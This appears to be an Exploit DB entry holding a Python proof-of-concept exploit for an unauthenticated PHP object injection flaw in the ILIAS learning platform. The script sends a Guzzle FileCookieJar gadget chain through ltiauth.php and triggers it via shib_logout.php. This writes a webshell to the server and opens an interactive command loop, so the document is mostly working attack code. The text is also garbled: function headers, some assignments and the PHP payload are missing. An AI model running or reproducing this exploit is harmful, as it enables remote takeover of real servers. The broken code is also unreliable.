Skip to content
Source: Exploit DB

Source: Exploit DB

www.exploit-db.com September 14, 2026

CVE-2026-80428 Unauthenticated PHP Object Injection via Shibboleth - ILIAS save($this->filename) -> file_put_contents($filename,

# json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.

# Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).

# Notes: - v11.x ships a broken shib_logout.php variant (null $DIC) and does

# not reach the vulnerable code as packaged; v9/v10 are exploitable.

# - The target's docroot disk path is needed for the file write

# (--path). Defaults to the standard /var/www/ilias/public.

# - If ILIAS was configured with a fixed http path, requests must carry

# that hostname (--host-header).

# Usage: python3 CVE-2026-80428.py [--cmd 'id']

# python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell

import argparse, http.client, re, secrets, ssl, sys, urllib.parse

b = x.encode() if isinstance(x, str) else x

return b's:' + str(len(b)).encode() + b':"' + b + b'";'

php = b' ' # PHP8: bareword index fatals; chr() avoids quotes

data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')

+ s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'

+ s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')

setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'

+ s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}')

return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'

+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'

+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;'

+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path)

+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}')

SOAP = (b' \n '

b' x '

b' ')

def __init__(self, host, port, host_header):

self.ctx = ssl._create_unverified_context()

def req(self, method, path, body=None, ctype=None):

conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(

self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)

conn.request(method, path, body=body, headers=h)

r = conn.getresponse(); d = r.read(); conn.close()

ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE")

ap.add_argument("--port", type=int, default=443)

ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required")

ap.add_argument("--path", default="/var/www/ilias/public",

help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)")

ap.add_argument("--shell", action="store_true", help="interactive command loop")

t = Target(a.target, a.port, a.host_header)

shell = f"util_{secrets.token_hex(3)}.php"

print(f"[*] seeding session via ltiauth.php (writes {disk})")

urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode())

st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded")

print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?")

print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)")

st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml")

if b"LogoutNotificationResponse" not in d and b" " not in d:

print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}")

st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd))

m = re. (rb'"Value":"(.*?)","Domain"', d, re.S)

return (m.group(1) if m else d).decode(errors="replace").strip()

print("[-] webshell did not respond — wrong --path / docroot not writable by web user?")

print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x= ")

print("[*] interactive loop — 'exit' quits")

except (EOFError, KeyboardInterrupt): break